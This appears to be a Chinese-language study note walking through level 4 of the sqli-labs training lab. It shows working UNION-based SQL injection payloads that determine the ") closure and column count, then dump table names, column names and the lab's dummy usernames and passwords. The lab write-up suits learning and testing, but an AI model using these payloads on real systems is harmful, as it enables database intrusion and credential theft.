sqli-labs-master/ Less-4

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档

---

前言

SQL学习记录

步骤

1.寻找注入点

2.判断闭合方式

加字母不报错，尝试输入’、“，输入’时无报错也无输出，输入"时报错信息如下：
'”-1"“) LIMIT 0,1’
去除外层单引号与输入内容，确定为”)闭合

?id=1") --+

3.判断漏洞是否存在

?id=1") and 0–+
?id=1") and 1–+

and 1 正常显示and 0无显示，说明人为可控，漏洞存在

4.判断列数

用二分法与order by最终确定列数为3

5.判断回显位

?id=-1") union select 1,2,3–+
确定2，3为回显位

6.查询数据库名，表名，列名，元素

?id=-1") union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database())–+

查询数据库名:security
表名:emails,referers,uagents,users

?id=-1") union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)–+

查列名:id,username,password

?id=-1") union select 1,(select group_concat(username) from users),(select group_concat(password) from users)–+

查username:
Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
查password:
Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4